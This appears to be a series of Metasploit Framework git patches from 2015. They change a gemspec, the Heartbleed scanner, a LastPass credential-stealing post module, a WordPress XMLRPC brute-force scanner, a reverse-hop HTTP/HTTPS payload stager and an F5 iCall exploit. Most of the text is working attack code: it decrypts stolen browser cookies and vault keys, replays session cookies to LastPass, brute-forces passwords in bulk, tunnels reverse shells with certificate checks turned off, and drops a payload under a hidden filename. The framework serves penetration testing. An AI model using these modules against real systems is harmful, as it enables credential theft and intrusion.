+44,8 @@ Gem::Specification.new do |spec| spec.test_files = spec.files.grep(%r{^spec/}) spec.require_paths = ["lib"] - + # Database support + spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Need 3+ for ActiveSupport::Concern spec.add_runtime_dependency 'activesupport', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Needed for config.action_view for view plugin compatibility for Pro @@ -59,6 +60,10 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks spec.add_runtime_dependency 'metasploit-concern', '1.0.0' + # Metasploit::Credential database models + spec.add_runtime_dependency 'metasploit-credential', '1.0.1' + # Database models shared between framework and Pro. + spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' @@ -66,10 +71,16 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' + # get list of network interfaces, like eth* from OS. + spec.add_runtime_dependency 'network_interface', '~> 0.0.1' # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture spec.add_runtime_dependency 'packetfu', '1.1.11' + # For sniffer and raw socket modules + spec.add_runtime_dependency 'pcaprub' + # Needed for module caching in Mdm::ModuleDetails + spec.add_runtime_dependency 'pg', '>= 0.11' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting From ce3f9e2fab9a98d23978626021bd1019a523ddff Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Wed, 11 Nov 2015 16:58:20 -0600 Subject: [PATCH 1177/2172] Fix minor style issues --- .../auxiliary/scanner/ssl/openssl_heartbleed.rb | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index c7b697fbde..07bc61c836 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -102,7 +102,6 @@ class Metasploit3 < Msf::Auxiliary # For verbose output, deduplicate repeated characters beyond this threshold DEDUP_REPEATED_CHARS_THRESHOLD = 400 - def initialize super( 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', @@ -207,7 +206,6 @@ class Metasploit3 < Msf::Auxiliary # Main method def run_host(ip) - case action.name when 'SCAN' loot_and_report(bleed) @@ -535,11 +533,11 @@ class Metasploit3 < Msf::Auxiliary duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round # Remove duplicate characters - abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) { |s| - s[0,duplicate_pad] + - ' repeated ' + ( s.length - (2 * duplicate_pad) ).to_s + ' times ' + - s[-duplicate_pad,duplicate_pad] - } + abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s| + s[0, duplicate_pad] + + ' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' + + s[-duplicate_pad, duplicate_pad] + end # Show abbreviated data vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}") @@ -720,7 +718,7 @@ class Metasploit3 < Msf::Auxiliary remaining_data = get_ssl_record - while remaining_data and remaining_data.length > 0 + while remaining_data && remaining_data.length > 0 ssl_record_counter += 1 ssl_unpacked = remaining_data.unpack('CH4n') return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3 @@ -738,7 +736,7 @@ class Metasploit3 < Msf::Auxiliary handshakes = parse_handshakes(ssl_data) # Stop once we receive a SERVER_HELLO_DONE - if handshakes and handshakes.length > 0 and handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE + if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE server_done = true break end From 211da2746ea61200b94a96fa8bd4fa9034311558 Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Wed, 11 Nov 2015 16:26:07 -0800 Subject: [PATCH 1178/2172] Support cookie auth key decryption --- modules/post/multi/gather/lastpass_creds.rb | 112 +++++++++++++++++--- 1 file changed, 100 insertions(+), 12 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index bcb4fa7c8b..e8377feb01 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -45,6 +45,9 @@ class Metasploit3 < Msf::Post print_status "Extracting credentials" extract_credentials(account_map) + #print_status "Decrypting local stored key" + #decrypt_local_vault_key(account_map) + print_status "Extracting 2FA tokens" extract_2fa_tokens(account_map) @@ -83,6 +86,12 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } + cookies_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies", + 'Firefox' => "", + 'Opera' => "", + 'Safari' => "" + } when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", @@ -94,6 +103,12 @@ class Metasploit3 < Msf::Post 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } + cookies_path_map = { #TODO + 'Chrome' => "", + 'Firefox' => "", + 'Opera' => "", + 'Safari' => "" + } when /osx/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", @@ -107,6 +122,12 @@ class Metasploit3 < Msf::Post 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } + cookies_path_map = { #TODO + 'Chrome' => "", + 'Firefox' => "", + 'Opera' => "", + 'Safari' => "" + } else print_error "Platform not recognized: #{platform}" end @@ -119,8 +140,12 @@ class Metasploit3 < Msf::Post account_map[account][browser]['lp_db_path'] = db_paths if session.type == "meterpreter" account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox' + account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if client.fs.file.exists?(cookies_path_map[browser]) || browser == 'Firefox' + #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'].gsub("prefs.js", "cookies.sqlite") if client.fs.file.exists?(cookies_path_map[browser]['lp_db_path']) && browser == 'Firefox' else # session.type == "shell" account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser == 'Firefox' + account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if session.shell_command("ls \"#{cookies_path_map[browser]}\"").strip == cookies_path_map[browser].strip || browser == 'Firefox' + #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'] if session.shell_command("ls \"#{cookies_path_map[browser]['lp_db_path']}\"").strip == cookies_path_map[browser]['lp_db_path'].strip && browser == 'Firefox' end else account_map[account].delete(browser) @@ -257,7 +282,6 @@ class Metasploit3 < Msf::Post credentials end - def decrypt_data(key, encrypted_data) return nil if encrypted_data.blank? @@ -346,7 +370,6 @@ class Metasploit3 < Msf::Post end end - #Extracts the 2FA token from localStorage def extract_2fa_tokens(account_map) account_map.each_pair do |account, browser_map| @@ -388,7 +411,6 @@ class Metasploit3 < Msf::Post end end - #Print all extracted LastPass data def print_lastpass_data(account_map) lastpass_data_table = Rex::Ui::Text::Table.new( @@ -420,7 +442,6 @@ class Metasploit3 < Msf::Post end end - def extract_vault_and_iterations(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| @@ -496,18 +517,88 @@ class Metasploit3 < Msf::Post def extract_vault_keys(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| + browser_checked = false # Track if local stored vault key was already decrypted for this browser lp_data['lp_creds'].each_pair do |username, user_data| - if !user_data['lp_password'].blank? && user_data['iterations'] != nil# Derive vault key from credentials + if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) - else # Get vault key from disabled OTP - otpbin = extract_otpbin(account, browser, username, lp_data) - lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) + else # Get vault key decrypting the locally stored one or from the disabled OTP + if !browser_checked + decrypt_local_vault_key(account, browser_map) + browser_checked = true + end + if lp_data['lp_creds'][username]['vault_key'] == nil # If not vault key was found yet, try with dOTP + otpbin = extract_otpbin(account, browser, username, lp_data) + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) + end end end end end end + # Decrypt the locally stored vault key + def decrypt_local_vault_key account, browser_map + browser_map.each_pair do |browser, lp_data| + case browser + when /Chrome/ + query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" + when "Opera" + query = "" + when "Firefox" + query = "SELECT value FROM moz_cookies WHERE baseDomain = 'lastpass.com' AND name = 'PHPSESSID'" + when "Safari" + query = "" + else + query = nil + print_error "Browser #{browser} not recognized" + end + + data = read_file(lp_data['cookies_db']) + loot_path = store_loot( + "#{browser.downcase}.lastpass.cookies", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} cookies DB" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + begin + result = db.execute(query) + rescue + vprint_error "No session cookie was found in #{account}'s #{browser}" + next + end + next if result.blank? # No session cookie found for this browser + session_cookie = windows_unprotect(Base64.encode64(result[0][0])) # TODO: Support other browsers/OSs + + # Use the cookie to obtain the encryption key to decrypt the vault key + uri = URI('https://lastpass.com/login_check.php') + request = Net::HTTP::Post.new(uri) + request.set_form_data("wxsessid" => URI.unescape(session_cookie),"uuid" => browser_map['lp_2fa']) + request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) } + + # Parse response + next if !response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired + decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1]) + username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] + + # Get the local encrypted vault key + db = SQLite3::Database.new(lp_data['lp_db_loot']) + result = db.execute( + "SELECT data FROM LastPassData " \ + "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'key'" + ) + encrypted_vault_key = result[0][0].split("\n")[0] + + # Decrypt the local stored key + lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key) + end + end + # Returns otp, encrypted_key def extract_otpbin(account, browser, username, lp_data) if browser == 'Firefox' @@ -525,7 +616,6 @@ class Metasploit3 < Msf::Post end end - def derive_vault_key_from_creds username, password, key_iteration_count if key_iteration_count == 1 key = Digest::SHA256.hexdigest username + password @@ -551,9 +641,7 @@ class Metasploit3 < Msf::Post request = Net::HTTP::Post.new(uri) request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token) request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' - response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| - http.request(request) - } + response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) {|http| http.request(request) } # Parse response encrypted_vault_key = nil From 2abfa1f241e3cdeb5ebc28bb324e0c346416ed12 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 05:30:07 +0300 Subject: [PATCH 1179/2172] Fix exceptions and XML parsing --- .../wordpress_xmlrpc_massive_bruteforce.rb | 95 +++++++++++-------- 1 file changed, 55 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 99280dcfb4..816290c282 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -46,11 +46,13 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end + # + # XML Factory + # def generate_xml(user) vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -99,65 +101,78 @@ class Metasploit3 < Msf::Auxiliary print_status("Checking #{peer} status!") if !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - return + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + nil elsif !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - return + print_error("#{rhost}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + nil else print_status("Target #{peer} is running Wordpress") + true end + + end + + # + # Connection Setup + # + def connecting(xml) + uri = target_uri.path + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), + 'data' => xml, + 'ctype' =>'text/xml' + } + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + if response.code != 200 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 + end + @response = response end def run - check_wpstatus + return if check_wpstatus.nil? usernames.each do |user| passfound = false print_status("Bruteforcing user: #{user}") generate_xml(user).each do |xml| - break if passfound == true + next if passfound == true - uri = target_uri.path - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), - 'data' => xml, - 'ctype' =>'text/xml' - } - - client = Rex::Proto::Http::Client.new(rhost) - client.connect - request = client.request_cgi(opts) - response = client.send_recv(request) + connecting(xml) # Request Parser req_xml = Nokogiri::Slop xml # Response Parser - res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + res_xml = Nokogiri::Slop @response.to_s.scan(/<.*>/).join - begin - res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| - begin - # If this gives exception then its the correct password - value.struct.member[1].value.string.text - rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + + result = value.at("struct/member/value/int") + # If response error code doesn't not exist + if result.nil? + user = req_xml.search("data/value/array/data")[i].value[0].text.strip + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + print_good("Credentials Found! #{user}:#{pass}") + + passfound = true + end - print_good("Credentials Found! #{user}:#{pass}") - passfound = true - end end - rescue NoMethodError - print_error('It seems you got blocked!') - print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") - sleep datastore['BLOCKEDWAIT'] * 60 - retry end - vprint_status('Sleeping for 2 seconds..') - sleep 2 - end end end + unless user == usernames.last + vprint_status('Sleeping for 2 seconds..') + sleep 2 + end + + end end end end From 8703987535212d0dcb631731f6cfd326cd8acc78 Mon Sep 17 00:00:00 2001 From: scriptjunkie <scriptjunkie@scriptjunkie.us> Date: Wed, 11 Nov 2015 21:18:39 -0600 Subject: [PATCH 1180/2172] Add HTTPS and new transport support for hop --- data/php/hop.php | 2 +- lib/msf/core/handler/reverse_hop_http.rb | 23 ++++++- lib/msf/core/payload/transport_config.rb | 4 +- .../stagers/windows/reverse_hop_http.rb | 60 ++++++++++++++++--- 4 files changed, 75 insertions(+), 14 deletions(-) diff --git a/data/php/hop.php b/data/php/hop.php index 948ccfe7d2..d2c289a3b5 100644 --- a/data/php/hop.php +++ b/data/php/hop.php @@ -45,7 +45,7 @@ if($url === "/control"){ //get data $postdata = file_get_contents("php://input"); //See if we should send anything down - if($postdata === "RECV\x00"){ + if($postdata === "RECV\x00" || $postdata === "RECV"){ findSendDelete($tempdir, "down_" . sha1($url)); $fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll }else{ diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 138a373e6c..097219cd9b 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -82,7 +82,8 @@ module ReverseHopHttp uri.port, { 'Msf' => framework - } + }, + full_uri.start_with?('https') ) @running = true # So we know we can stop it # If someone is already monitoring this hop, bump the refcount instead of starting a new thread @@ -185,6 +186,19 @@ module ReverseHopHttp lock.unlock end + # + # Implemented for compatibility reasons + # + def resources + handlers + end + + # + # Implemented for compatibility reasons, does nothing + # + def deref + end + # # Implemented for compatibility reasons, does nothing # @@ -250,7 +264,7 @@ module ReverseHopHttp # def send_new_stage(uri) # try to get the UUID out of the existing URI - info = process_uri_resource(uri) + info = process_uri_resource(uri.to_s) uuid = info[:uuid] || Msf::Payload::UUID.new # generate a new connect @@ -258,11 +272,14 @@ module ReverseHopHttp conn_id = generate_uri_uuid(sum, uuid) conn_id = conn_id[1..-1] if conn_id.start_with? '/' url = full_uri + conn_id + "/\x00" + fulluri = URI(full_uri + conn_id) print_status("Preparing stage for next session #{conn_id}") blob = stage_payload( uuid: uuid, - uri: conn_id + uri: fulluri.request_uri, + lhost: uri.host, + lport: uri.port ) #send up diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 0e7d49bdc3..03820247d6 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -55,8 +55,8 @@ module Msf::Payload::TransportConfig { :scheme => 'http', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, + :lhost => opts[:lhost] || datastore['LHOST'], + :lport => opts[:lport] || datastore['LPORT'].to_i, :uri => uri, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index 138785a4da..229d85f518 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -16,13 +16,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse Hop HTTP Stager', + 'Name' => 'Reverse Hop HTTP/HTTPS Stager', 'Description' => %q{ - Tunnel communication over an HTTP hop point. Note that you must first upload + Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop. }, 'Author' => [ 'scriptjunkie <scriptjunkie[at]scriptjunkie.us>', + 'bannedit', 'hdm' ], 'License' => MSF_LICENSE, @@ -48,6 +49,15 @@ module Metasploit3 false end + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + config = transport_config_reverse_http(opts) + config[:scheme] = URI(datastore['HOPURL']).scheme + config + end + # # Generate the first stage # @@ -188,12 +198,24 @@ httpopenrequest: pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION +EOS + + if uri.scheme == 'http' + payload_data << ' push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' + else + payload_data << ' push (0x80000000 | 0x00800000 | 0x00001000 | 0x00002000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' + end + # 0x80000000 | ; INTERNET_FLAG_RELOAD + # 0x00800000 | ; INTERNET_FLAG_SECURE + # 0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID + # 0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + # 0x80000000 | ; INTERNET_FLAG_RELOAD + # 0x04000000 | ; INTERNET_NO_CACHE_WRITE + # 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + # 0x00000200 | ; INTERNET_FLAG_NO_UI + # 0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION + payload_data << <<EOS + push edx ; accept types push edx ; referrer push edx ; version @@ -223,6 +245,28 @@ httpsendrequest: try_it_again: dec ebx jz failure + +EOS + if uri.scheme == 'https' + payload_data << <<EOS +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push 0x04 ; sizeof(dwFlags) + push eax ; &dwFlags + push 0x1f ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +EOS + end + payload_data << <<EOS jmp.i8 httpsendrequest dbl_get_server_host: From 530a7bb613947d90afe1be0279e6e96638cb6049 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 08:42:00 +0300 Subject: [PATCH 1181/2172] Fix peer, naming, and add resp check to the code check --- modules/auxiliary/gather/ip2location.rb | 0 .../http/wordpress_xmlrpc_massive_bruteforce.rb | 14 +++++++------- 2 files changed, 7 insertions(+), 7 deletions(-) create mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb new file mode 100644 index 0000000000..e69de29bb2 diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 816290c282..bd05b3f518 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Name' => 'WordPress XMLRPC Massive Bruteforce', 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => @@ -101,10 +101,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Checking #{peer} status!") if !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") nil elsif !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") nil else print_status("Target #{peer} is running Wordpress") @@ -127,15 +127,15 @@ class Metasploit3 < Msf::Auxiliary } client = Rex::Proto::Http::Client.new(rhost) client.connect - request = client.request_cgi(opts) - response = client.send_recv(request) + req = client.request_cgi(opts) + res = client.send_recv(req) - if response.code != 200 + if res && res.code != 200 print_error('It seems you got blocked!') print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") sleep datastore['BLOCKEDWAIT'] * 60 end - @response = response + @response = res end def run From ee312f86f6269d89a46c24a6a743d49077d92747 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 08:50:46 +0300 Subject: [PATCH 1182/2172] Fix peer, naming, and add resp check to the code check --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bd05b3f518..bea0de1071 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit") sleep datastore['BLOCKEDWAIT'] * 60 end - @response = res + @res = res end def run @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml # Response Parser - res_xml = Nokogiri::Slop @response.to_s.scan(/<.*>/).join + res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| From c2c89124b40f00a92e6efd13b8274a11ae7f3e70 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 08:58:07 +0300 Subject: [PATCH 1183/2172] Remove it :@ --- modules/auxiliary/gather/ip2location.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb deleted file mode 100644 index e69de29bb2..0000000000 From eae2d6c89d57df355c0311dfa2da5ef77e0d56e4 Mon Sep 17 00:00:00 2001 From: m0t <mamaragan@gmail.com> Date: Thu, 12 Nov 2015 09:51:09 +0000 Subject: [PATCH 1184/2172] F5 module --- modules/exploits/linux/http/f5_icall_cmd.rb | 336 ++++++++++---------- 1 file changed, 168 insertions(+), 168 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index e7420375d7..d710438126 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -4,11 +4,13 @@ ## require 'msf/core' +require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -44,201 +46,184 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']), OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) ], self.class) + register_advanced_options( + [ + OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]), + OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']), + OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']), + OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072]) + ], self.class) end + def xml_add_namespaces(xml) + ns = xml.doc.root.add_namespace_definition("soapenv","http://schemas.xmlsoap.org/soap/envelope/") + xml.doc.root.namespace = ns + xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance") + xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema") + xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script") + xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding") + xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler") + return xml + end - - # cmd is valid tcl script - def create_script(cmd) - scriptname = Rex::Text.rand_text_alpha_lower(5) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - 